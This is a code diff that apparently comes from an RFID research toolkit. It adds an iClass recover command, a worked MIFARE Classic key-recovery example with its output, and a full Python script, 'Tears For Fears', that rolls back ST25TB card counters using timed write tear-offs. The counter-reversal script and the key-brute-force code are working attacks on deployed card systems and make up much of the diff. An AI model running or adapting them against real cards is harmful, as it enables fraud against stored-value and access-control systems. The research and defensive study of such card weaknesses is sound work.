//--------------------------------------------------------- //---------------------------------------------------------

View file

@ -105,6 +105,11 @@ typedef struct {
iclass_restore_item_t blocks[]; iclass_restore_item_t blocks[];
} PACKED iclass_restore_req_t; } PACKED iclass_restore_req_t;
typedef struct {
iclass_auth_req_t req;
iclass_auth_req_t req2;
} PACKED iclass_recover_req_t;
typedef struct iclass_premac { typedef struct iclass_premac {
uint8_t mac[4]; uint8_t mac[4];
} PACKED iclass_premac_t; } PACKED iclass_premac_t;

View file

@ -630,6 +630,7 @@ typedef struct {
#define CMD_HF_ICLASS_CHKKEYS 0x039A #define CMD_HF_ICLASS_CHKKEYS 0x039A
#define CMD_HF_ICLASS_RESTORE 0x039B #define CMD_HF_ICLASS_RESTORE 0x039B
#define CMD_HF_ICLASS_CREDIT_EPURSE 0x039C #define CMD_HF_ICLASS_CREDIT_EPURSE 0x039C
#define CMD_HF_ICLASS_RECOVER 0x039D
// For ISO1092 / FeliCa // For ISO1092 / FeliCa

View file

@ -430,7 +430,7 @@ static void *sorttable(void *dd) {
printf("cannot create outfile %s\n", outfile); printf("cannot create outfile %s\n", outfile);
exit(1); exit(1);
} }
if (write(fdout, table, numentries * DATASIZE)) { if (write(fdout, table, numentries * DATASIZE) != (numentries * DATASIZE)) {
printf("writetable cannot write all of the data\n"); printf("writetable cannot write all of the data\n");
exit(1); exit(1);
} }
@ -454,7 +454,7 @@ int main(int argc, char *argv[]) {
// make the table of tables // make the table of tables
t = (struct table *)calloc(sizeof(struct table) * 65536, sizeof(uint8_t)); t = (struct table *)calloc(sizeof(struct table) * 65536, sizeof(uint8_t));
if (!t) { if (!t) {
printf("malloc failed\n"); printf("calloc failed\n");
exit(1); exit(1);
} }
@ -503,11 +503,8 @@ int main(int argc, char *argv[]) {
free_tables(t); free_tables(t);
free(t); free(t);
// now for the sorting // now for the sorting
// start the threads // start the threads
for (long i = 0; i < NUM_SORT_THREADS; i++) { for (long i = 0; i < NUM_SORT_THREADS; i++) {
int ret = pthread_create(&(threads[i]), NULL, sorttable, (void *)(i)); int ret = pthread_create(&(threads[i]), NULL, sorttable, (void *)(i));

View file

@ -705,21 +705,28 @@ int main(int argc, char **argv) {
// show buidlog in case of error // show buidlog in case of error
// todo: only for device models // todo: only for device models
unsigned int build_errors = 0; unsigned int build_errors = 0;
unsigned int build_logs = 0; // unsigned int build_logs = 0;
cl_command_queue_properties queue_properties = 0; cl_command_queue_properties queue_properties = 0;
if (opencl_profiling) queue_properties = CL_QUEUE_PROFILING_ENABLE; if (opencl_profiling) {
queue_properties = CL_QUEUE_PROFILING_ENABLE;
}
// setup, phase 1 // setup, phase 1
z = 0; // dolphin z = 0; // dolphin
for (w = 0; w < ocl_platform_cnt; w++) { for (w = 0; w < ocl_platform_cnt; w++) {
if (!cd_ctx[w].selected) continue; if (!cd_ctx[w].selected) {
continue;
}
for (q = 0; q < cd_ctx[w].device_cnt; q++) { for (q = 0; q < cd_ctx[w].device_cnt; q++) {
if (!cd_ctx[w].device[q].selected) continue;
if (!cd_ctx[w].device[q].selected) {
continue;
}
ctx.device_ids[z] = cd_ctx[w].device[q].device_id; ctx.device_ids[z] = cd_ctx[w].device[q].device_id;
@ -860,7 +867,7 @@ int main(int argc, char **argv) {
free(buffer); free(buffer);
build_logs++; // build_logs++;
#if DEBUGME == 0 #if DEBUGME == 0
continue; // todo: evaluate this, one or more can be broken, so continue continue; // todo: evaluate this, one or more can be broken, so continue
#endif #endif

View file

@ -109,7 +109,17 @@ def hitag2(state, length=48):
if __name__ == "__main__": if __name__ == "__main__":
import sys import sys
if len(sys.argv) == 4: if len(sys.argv) == 4:
key = int(sys.argv[1], 16)
uid = int(sys.argv[2], 16)
n = int(sys.argv[3])
for i in range(n):
nonce = random.randrange(2**32)
state = hitag2_init(key, uid, nonce)
print('%08X %08X' % (nonce, hitag2(state, 32) ^ 0xffffffff))
elif len(sys.argv) == 5:
key = int(sys.argv[1], 16) key = int(sys.argv[1], 16)
uid = int(sys.argv[2], 16) uid = int(sys.argv[2], 16)
n = int(sys.argv[3]) n = int(sys.argv[3])

View file

@ -130,3 +130,76 @@ Valid Key found: [ffffffffffff]
Time in mf_nonce_brute (Phase 1): 1763 ticks 2.0 seconds Time in mf_nonce_brute (Phase 1): 1763 ticks 2.0 seconds
``` ```
[2024-07-11]
There is an odd case where we find multiple valid MIFARE Classic protocol commands with a valid ISO14443-A CRC when decrypting four bytes and are bruteforcing the last upper 16 bit of keyspace in phase 3.
The command has been updated to give a more informative text in order to help the user understanding and what to do next.
```
./mf_nonce_brute fcf77b54 1b456bdd 1110 f215b6 f9eb95e9 0011 bf55d0b1 0000 AAD4126B
```
When running you get the following full output
```
./mf_nonce_brute$ ./mf_nonce_brute fcf77b54 1b456bdd 1110 f215b6 f9eb95e9 0011 bf55d0b1 0000 AAD4126B
Mifare classic nested auth key recovery
----------- information ------------------------
uid.................. fcf77b54
nt encrypted......... 1b456bdd
nt parity err........ 1110
nr encrypted......... 00f215b6
ar encrypted......... f9eb95e9
ar parity err........ 0011
at encrypted......... bf55d0b1
at parity err........ 0000
next encrypted cmd... AAD4126B
Bruteforce using 8 threads
----------- Phase 1 pre-processing ------------------------
Testing default keys using NESTED authentication...
----------- Phase 2 examine -------------------------------
Looking for the last bytes of the encrypted tagnonce
Target old MFC...
CMD enc( aad4126b )
dec( 302424cf ) <-- valid cmd
Key candidate [ ....37afcc2b ]
Key candidate [ a70d37afcc2b ]
execution time 0.47 sec
----------- Phase 3 validating ----------------------------
uid.................. fcf77b54
partial key.......... 37afcc2b
possible key......... a70d37afcc2b
nt enc............... 1b456bdd
nr enc............... 00f215b6
next encrypted cmd... AAD4126B
Looking for the upper 16 bits of the key
enc: AAD4126B
dec: 610BFEDC
Valid Key found [ 7c2337afcc2b ]
enc: AAD4126B
dec: 302424CF
Valid Key found [ a70d37afcc2b ] - matches candidate
Odd case but we found 2 possible keys
You need to test all of them manually, start with the one matching the candidate
```

View file

@ -560,9 +560,9 @@ static void *brute_thread(void *arguments) {
pthread_mutex_unlock(&print_lock); pthread_mutex_unlock(&print_lock);
free(revstate); free(revstate);
continue; continue;
} else {
printf("<-- " _GREEN_("valid cmd") "\n");
} }
printf("<-- " _GREEN_("valid cmd") "\n");
} }
lfsr_rollback_word(revstate, 0, 0); lfsr_rollback_word(revstate, 0, 0);
@ -591,20 +591,16 @@ static void *brute_thread(void *arguments) {
return NULL; return NULL;
} }
// Bruteforce the upper 16 bits of the key
static void *brute_key_thread(void *arguments) { static void *brute_key_thread(void *arguments) {
struct thread_key_args *args = (struct thread_key_args *) arguments; struct thread_key_args *args = (struct thread_key_args *) arguments;
uint64_t key;
uint8_t local_enc[args->enc_len]; uint8_t local_enc[args->enc_len];
memcpy(local_enc, args->enc, args->enc_len); memcpy(local_enc, args->enc, args->enc_len);
for (uint64_t count = args->idx; count <= 0xFFFF; count += thread_count) { for (uint64_t count = args->idx; count <= 0xFFFF; count += thread_count) {
if (__atomic_load_n(&global_found, __ATOMIC_ACQUIRE) == 1) { uint64_t key = args->part_key | (count << 32);
break;
}
key = args->part_key | (count << 32);
// Init cipher with key // Init cipher with key
struct Crypto1State *pcs = crypto1_create(key); struct Crypto1State *pcs = crypto1_create(key);
@ -628,15 +624,20 @@ static void *brute_key_thread(void *arguments) {
continue; continue;
} }
__sync_fetch_and_add(&global_found, 1); __sync_fetch_and_add(&global_found_candidate, 1);
// lock this section to avoid interlacing prints from different threats // lock this section to avoid interlacing prints from different threats
pthread_mutex_lock(&print_lock); pthread_mutex_lock(&print_lock);
printf("\nenc: %s\n", sprint_hex_inrow_ex(local_enc, args->enc_len, 0)); printf("\nenc: %s\n", sprint_hex_inrow_ex(local_enc, args->enc_len, 0));
printf("dec: %s\n", sprint_hex_inrow_ex(dec, args->enc_len, 0)); printf("dec: %s\n", sprint_hex_inrow_ex(dec, args->enc_len, 0));
if (key == global_candidate_key) {
printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ] - " _YELLOW_("matches candidate") "\n\n", key);
} else {
printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ]\n\n", key); printf("\nValid Key found [ " _GREEN_("%012" PRIx64) " ]\n\n", key);
}
pthread_mutex_unlock(&print_lock); pthread_mutex_unlock(&print_lock);
break;
} }
free(args); free(args);
return NULL; return NULL;
@ -792,17 +793,17 @@ int main(int argc, const char *argv[]) {
} }
if (enc_len < 4) { if (enc_len < 4) {
printf("Too few next cmd bytes, skipping phase 2\n"); printf("Too few next cmd bytes, skipping phase 3\n\n");
goto out; goto out;
} }
// reset thread signals // reset thread signals
global_found = 0;
global_found_candidate = 0; global_found_candidate = 0;
printf("\n----------- " _CYAN_("Phase 3 validating") " ----------------------------\n"); printf("\n----------- " _CYAN_("Phase 3 validating") " ----------------------------\n");
printf("uid.................. %08x\n", uid); printf("uid.................. %08x\n", uid);
printf("partial key.......... %08x\n", (uint32_t)(global_candidate_key & 0xFFFFFFFF)); printf("partial key.......... %08x\n", (uint32_t)(global_candidate_key & 0xFFFFFFFF));
printf("possible key......... %012" PRIx64 "\n", global_candidate_key);
printf("nt enc............... %08x\n", nt_enc); printf("nt enc............... %08x\n", nt_enc);
printf("nr enc............... %08x\n", nr_enc); printf("nr enc............... %08x\n", nr_enc);
printf("next encrypted cmd... %s\n", sprint_hex_inrow_ex(enc, enc_len, 0)); printf("next encrypted cmd... %s\n", sprint_hex_inrow_ex(enc, enc_len, 0));
@ -828,8 +829,15 @@ int main(int argc, const char *argv[]) {
pthread_join(threads[i], NULL); pthread_join(threads[i], NULL);
} }
if (!global_found && !global_found_candidate) {
printf("\nfailed to find a key\n\n"); if (global_found_candidate > 1) {
printf("Key recovery ( " _GREEN_("ok") " )\n");
printf("Found " _GREEN_("%d") " possible keys\n", global_found_candidate);
printf(_YELLOW_("You need to test them manually, start with the one matching the candidate\n\n"));
} else if (global_found_candidate == 1) {
printf("Key recovery ( " _GREEN_("ok") " )\n\n");
} else {
printf("Key recovery ( " _RED_("fail") " )\n\n");
} }
out: out:

View file

@ -0,0 +1,553 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
#+---------------------------------------------------------------------------+
#| Tears For Fears : Utilities for reverting counters of ST25TB* cards |
#+---------------------------------------------------------------------------+
#| Copyright (C) Pierre Granier - 2024 |
#| |
#| This program is free software: you can redistribute it and/or modify |
#| it under the terms of the GNU General Public License as published by |
#| the Free Software Foundation, either version 3 of the License, or |
#| (at your option) any later version. |
#| |
#| This program is distributed in the hope that it will be useful, |
#| but WITHOUT ANY WARRANTY; without even the implied warranty of |
#| MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the |
#| GNU General Public License for more details. |
#| |
#| You should have received a copy of the GNU General Public License |
#| along with this program. If not, see <http://www.gnu.org/licenses/>. |
#+---------------------------------------------------------------------------+
#
# Ref:
# https://gitlab.com/SiliconOtter/tears4fears
#
import argparse
from queue import Queue, Empty
import re
from subprocess import Popen, PIPE
from time import sleep
from threading import Thread
PM3_SUBPROC = None
PM3_SUBPROC_QUEUE = None
class colors:
reset = '\033[0m'
bold = '\033[01m'
disable = '\033[02m'
underline = '\033[04m'
reverse = '\033[07m'
strikethrough = '\033[09m'
invisible = '\033[08m'
purple = '\033[35m'
red = '\033[31m'
green = '\033[32m'
blue = '\033[34m'
lightred = '\033[91m'
lightgreen = '\033[92m'
lightblue = '\033[94m'
def main():
global PM3_SUBPROC
global PM3_SUBPROC_QUEUE
parser = argparse.ArgumentParser()
parser.add_argument("-s",
"--strat",
type=int,
nargs="?",
const="1",
default="1",
dest="strategy",
help="Strategy to use (default 1)")
parser.add_argument("-b",
"--block",
type=int,
nargs="?",
const="-1",
default="-1",
required=True,
dest="target_block",
help="Target Block")
parser.add_argument("-p",
"--pm3-client",
type=str,
default="pm3",
dest="pm3_path",
help="pm3 client path")
args = parser.parse_args()
PM3_SUBPROC = Popen([args.pm3_path, "-i", "-f"], stdin=PIPE, stdout=PIPE)
PM3_SUBPROC_QUEUE = Queue()
thread = Thread(target=enqueue_output,
args=(PM3_SUBPROC.stdout, PM3_SUBPROC_QUEUE))
thread.start()
if args.target_block != -1:
tear_for_fears(args.target_block, args.strategy)
else:
parser.error("--block is required ")
sub_com('exit')
thread.join()
def enqueue_output(out, queue):
"""Continuously read PM3 client stdout and fill a global queue
Args:
out: stdout of PM3 client
queue: where to push "out" content
"""
for line in iter(out.readline, b""):
queue.put(line)
out.close()
def sub_com(command, func=None, sleep_over=0):
"""Send command to aPM3 client
Args:
command: String of the command to send
func: hook for a parsing function on the pm3 command end
Returns:
result of the hooked function if any
"""
global PM3_SUBPROC
global PM3_SUBPROC_QUEUE
result = None
sleep(sleep_over)
PM3_SUBPROC.stdin.write(bytes((command + "\n").encode("ascii")))
PM3_SUBPROC.stdin.flush()
if func:
while not result:
try:
result = func(str(PM3_SUBPROC_QUEUE.get(timeout=.5)))
except Empty:
PM3_SUBPROC.stdin.write(bytes(
(command + "\n").encode("ascii")))
PM3_SUBPROC.stdin.flush()
return result
def set_space(space):
"""Placeholder for instrumentalization or do it manually
Args:
space: distance needed
Returns:
"""
input(f"\nSet Reader <-> Card distance to {space} and press enter : \n")
def parse_rdbl(str_to_parse):
"""Return a list of str of a block from pm3 output
Uses `rbdl` in pm3 client
Args:
str_to_parse: string to parse
Returns:
string list
"""
tmp = re.search(r"block \d*\.\.\. ([0-9a-fA-F]{2} ){4}", str_to_parse)
if tmp:
# print(tmp)
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split("... ")[1])
return None
def parse_UID(str_to_parse):
"""Return a card UID from pm3 output
Args:
str_to_parse: string to parse
Returns:
string list
"""
tmp = re.search(r"UID: ([0-9a-fA-F]{2} )*", str_to_parse)
if tmp:
return re.findall(r"[0-9a-fA-F]{2}", tmp.group(0).split(": ")[1])
return None
def slist_to_int(list_source):
"""Return the int value associated to a bloc list of string
Args:
list_source: list to convert
Returns:
represented int
"""
return ((int(list_source[3], 16) << 24) + (int(list_source[2], 16) << 16) +
(int(list_source[1], 16) << 8) + int(list_source[0], 16))
def int_to_slist(src):
"""Return the list of string from the int value associated to a block
Args:
src: int to convert
Returns:
list of string
"""
list_dest = list()
for i in range(4):
list_dest.append(hex((src >> (8 * i)) & 255)[2:].zfill(2).upper())
return list_dest
def ponderated_read(b_num, repeat_read, sleep_over):
"""read a few times a block and give a pondered dictionary
Args:
b_num: block number to read
Returns:
dictionary (key: int, value: number of occurrences)
"""
weight_r = dict()
for _ in range(repeat_read):
# sleep_over=0 favorize read at 0
# (and allow early discovery of weak bits)
result = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}",
parse_rdbl,
sleep_over=sleep_over))
if result in weight_r:
weight_r[result] += 1
else:
weight_r[result] = 1
return weight_r
def exploit_weak_bit(b_num, original_value, repeat_read, sleep_over):
"""
Args:
b_num: block number
stop: last tearing timing
"""
# Sending RAW writes because `wrbl` spend additionnal time checking success
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
set_space(1)
dic = ponderated_read(b_num, repeat_read, sleep_over)
for value, occur in dic.items():
indic = colors.reset
if value > original_value:
indic = colors.purple
elif value < original_value:
indic = colors.lightblue
print(
f"{(occur / repeat_read) * 100} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}{colors.reset}"
f" : {indic}{str(bin(value))[2:].zfill(32)}{colors.reset}")
target = max(dic)
read_back = 0
# There is no ACK for write so we use a read to check distance coherence
if target > (original_value):
print(f"\n{colors.bold}Trying to consolidate.{colors.reset}"
f"\nKeep card at the max distance from the reader.\n")
while (read_back != (target - 1)):
print(f"{colors.bold}Writing :{colors.reset}"
f" {''.join(map(str,int_to_slist(target - 1)))}")
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 1)))}")
read_back = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
while (read_back != (target - 2)):
print(f"{colors.bold}Writing :{colors.reset}"
f" {''.join(map(str,int_to_slist(target - 2)))}")
sub_com(f"{cmd_wrb}{''.join(map(str,int_to_slist(target - 2)))}")
read_back = slist_to_int(
sub_com(f"hf 14b rdbl -b {b_num}", parse_rdbl))
set_space(0)
def strat_1_values(original_value):
"""return payload and trigger value depending on original_value
follow strategy 1 rules
Args:
original_value: starting value before exploit
Returns:
(payload_value, trigger_value) if possible
None otherwise
"""
high1bound = 30
# Check for leverageable bits positions,
# Start from bit 32, while their is no bit at 1 decrement position
while ((original_value & (0b11 << high1bound)) != (0b11 << high1bound)):
high1bound -= 1
if high1bound < 1:
# No bits can be used as leverage
return None
low1bound = high1bound
# We found a suitable pair of bits at 1,
# While their is bits at 1, decrement position
while ((original_value & (0b11 << low1bound)) == (0b11 << low1bound)):
low1bound -= 1
if low1bound < 1:
# No bits can be reset
return None
trigger_value = (0b01 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
payload_value = (0b10 << (low1bound + 1)) ^ (2**(high1bound + 2) - 1)
return (trigger_value, payload_value)
def strat_2_values(original_value):
"""return payload and trigger value depending on original_value
follow strategy 2 rules
Args:
original_value: starting value before exploit
Returns:
(payload_value, trigger_value) if possible
None otherwise
"""
high1bound = 31
# Check for leverageable bit position,
# Start from bit 32, while their is no bit at 1 decrement position
while not (original_value & (0b1 << high1bound)):
high1bound -= 1
if high1bound < 1:
# No bits can be used as leverage
return None
low1bound = high1bound
# We found a suitable bit at 1,
# While their is bits at 1, decrement position
while (original_value & (0b1 << low1bound)):
low1bound -= 1
if low1bound < 1:
# No bits can be reset
return None
trigger_value = (0b1 << (low1bound + 1)) ^ (2**(high1bound + 1) - 1)
payload_value = trigger_value ^ (2**min(low1bound, 4) - 1)
return (trigger_value, payload_value)
def tear_for_fears(b_num, strategy):
"""try to roll back `b_num` counter using `strategy`
Args:
b_num: block number
"""
################################################################
######### You may want to play with theses parameters #########
start_taring_delay = 130
repeat_read = 8
repeat_write = 5
sleep_quick = 0
sleep_long = 0.3
################################################################
cmd_wrb = f"hf 14b raw --sr --crc -d 09{hex(b_num)[2:].rjust(2, '0')}"
print(f"UID: { ''.join(map(str,sub_com('hf 14b info ', parse_UID)))}\n")
tmp = ponderated_read(b_num, repeat_read, sleep_long)
original_value = max(tmp, key=tmp.get)
if strategy == 1:
leverageable_values = strat_1_values(original_value)
else:
leverageable_values = strat_2_values(original_value)
if leverageable_values is None:
print(
f"\n{colors.bold}No bits usable for leverage{colors.reset}\n"
f"Current value : {''.join(map(str,int_to_slist(original_value)))}"
f" : { bin(original_value)[2:].zfill(32)}")
return
else:
(trigger_value, payload_value) = leverageable_values
print(f"Initial Value : {''.join(map(str,int_to_slist(original_value)))}"
f" : { bin(original_value)[2:].zfill(32)}")
print(f"Trigger Value : {''.join(map(str,int_to_slist(trigger_value)))}"
f" : { bin(trigger_value)[2:].zfill(32)}")
print(f"Payload Value : {''.join(map(str,int_to_slist(payload_value)))}"
f" : { bin(payload_value)[2:].zfill(32)}\n")
print(
f"{colors.bold}Color coding :{colors.reset}\n"
f"{colors.reset}\tValue we started with{colors.reset}\n"
f"{colors.green}\tTarget value (trigger|payload){colors.reset}\n"
f"{colors.lightblue}\tBelow target value (trigger|payload){colors.reset}\n"
f"{colors.lightred}\tAbove target value (trigger|payload){colors.reset}\n"
f"{colors.purple}\tAbove initial value {colors.reset}")
if input(f"\n{colors.bold}Good ? Y/n : {colors.reset}") == "n":
return
trigger_flag = False
payload_flag = False
t4fears_flag = False
print(f"\n{colors.bold}Write and tear trigger value : {colors.reset}"
f"{''.join(map(str,int_to_slist(trigger_value)))}\n")
tear_us = start_taring_delay
while not trigger_flag:
for _ in range(repeat_write):
if t4fears_flag:
exploit_weak_bit(b_num, original_value, repeat_read,
sleep_long)
if trigger_flag:
break
sub_com(
f"hw tearoff --delay {tear_us} --on ; "
f"{cmd_wrb}{''.join(map(str, int_to_slist(trigger_value)))}")
preamb = f"Tear timing = {tear_us:02d} us : "
print(preamb, end="")
trigger_flag = True
for value, occur in ponderated_read(b_num, repeat_read,
sleep_quick).items():
indic = colors.reset
# Here we want 100% chance of having primed one sub-counter
# The logic is inverted for payload
if value > original_value:
indic = colors.purple
t4fears_flag = True
trigger_flag = False
elif value == trigger_value:
indic = colors.green
elif value < original_value:
indic = colors.lightblue
else:
trigger_flag = False
print(
f"{(occur / repeat_read) * 100:3.0f} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
f"{colors.reset} : {indic}"
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
end=f"\n{' ' * len(preamb)}")
print()
tear_us += 1
print(f"\n{colors.bold}Write and tear payload value : {colors.reset}"
f"{''.join(map(str,int_to_slist(payload_value)))}\n")
tear_us = start_taring_delay
while True:
for _ in range(repeat_write):
if payload_flag:
exploit_weak_bit(b_num, original_value, repeat_read,
sleep_long)
tmp = ponderated_read(b_num, repeat_read, sleep_long)
if max(tmp, key=tmp.get) > original_value:
print(f"{colors.bold}Success ! {colors.reset}")
return
else:
payload_flag = False
sub_com(
f"hw tearoff --delay {tear_us} --on ; "
f"{cmd_wrb}{''.join(map(str, int_to_slist(payload_value)))}")
preamb = f"Tear timing = {tear_us:02d} us : "
print(preamb, end="")
for value, occur in ponderated_read(b_num, repeat_read,
sleep_quick).items():
indic = colors.reset
if value > original_value:
indic = colors.purple
payload_flag = True
elif value == payload_value:
indic = colors.green
payload_flag = True
elif value < trigger_value:
indic = colors.lightblue
elif value > trigger_value:
indic = colors.lightred
print(
f"{(occur / repeat_read) * 100:3.0f} %"
f" : {indic}{''.join(map(str,int_to_slist(value)))}"
f"{colors.reset} : {indic}"
f"{str(bin(value))[2:].zfill(32)}{colors.reset}",
end=f"\n{' ' * len(preamb)}")
print()
tear_us += 1
if __name__ == "__main__":
main()

View file

@ -256,6 +256,7 @@ while true; do
if ! CheckFileExist "MFP dictionary exists" "$DICPATH/mfp_default_keys.dic"; then break; fi if ! CheckFileExist "MFP dictionary exists" "$DICPATH/mfp_default_keys.dic"; then break; fi
if ! CheckFileExist "MFULC dictionary exists" "$DICPATH/mfulc_default_keys.dic"; then break; fi if ! CheckFileExist "MFULC dictionary exists" "$DICPATH/mfulc_default_keys.dic"; then break; fi
if ! CheckFileExist "T55XX dictionary exists" "$DICPATH/t55xx_default_pwds.dic"; then break; fi if ! CheckFileExist "T55XX dictionary exists" "$DICPATH/t55xx_default_pwds.dic"; then break; fi
if ! CheckFileExist "HITAG2 dictionary exists" "$DICPATH/ht2_default.dic"; then break; fi
echo -e "\n${C_BLUE}Testing tools:${C_NC}" echo -e "\n${C_BLUE}Testing tools:${C_NC}"
if ! CheckExecute "xorcheck test" "tools/xorcheck.py 04 00 80 64 ba" "final LRC XOR byte value: 5A"; then break; fi if ! CheckExecute "xorcheck test" "tools/xorcheck.py 04 00 80 64 ba" "final LRC XOR byte value: 5A"; then break; fi

View file

@ -180,7 +180,14 @@ def selftests():
'samples': ["02E3002FCD4038", "E71B844BCE76C8110B36E5B1E1C0410381BD994F226D5C11D84CA6697A5EB572", 'samples': ["02E3002FCD4038", "E71B844BCE76C8110B36E5B1E1C0410381BD994F226D5C11D84CA6697A5EB572",
"02E3002FCD4205", "5BE94577A06BC3030B1B3CECDC846E8128DDF81008DDEECBAF78CE91CDA27DBD", "02E3002FCD4205", "5BE94577A06BC3030B1B3CECDC846E8128DDF81008DDEECBAF78CE91CDA27DBD",
"02E3002FCD44BE", "895EE509DE9D98E2FDAC7ADCC976F24B085D73D063986EF59FE260D9BE08D28C"], "02E3002FCD44BE", "895EE509DE9D98E2FDAC7ADCC976F24B085D73D063986EF59FE260D9BE08D28C"],
'pk': "041d92163650161a2548d33881c235d0fb2315c2c31a442f23c87acf14497c0cba"}, 'pk': "041D92163650161A2548D33881C235D0FB2315C2C31A442F23C87ACF14497C0CBA"},
# TruST25 (ST25TN) - KeyID ?
# curve=secp128r1, hash=sha256 - from block 52 in ST25TN, followed by ascii UID
{'name': "ST25TN512/01K TruST25 (ST) / KeyID ?",
'samples': ["020339A5940000", "A5E968CEDD7278C46F0FF7ECABAD649C229BCA444915D307E69C1945FA95C9C6",
"02643AFD04A000", "0938D86193C603E1B30B17C8117A930205CAC1A8CE88F0EA269FCE2A44244D7B"],
'pk': "0440004F974F7C76BC8718E523D85FA7B354A9A992BFA966CB8219242F9D274FD6"},
# TruST25 (ST25TV) - KeyID 0x04? # TruST25 (ST25TV) - KeyID 0x04?
# curve=secp128r1, hash=sha256 - from block 63 in ST25TV, starting with KeyID ? # curve=secp128r1, hash=sha256 - from block 63 in ST25TV, starting with KeyID ?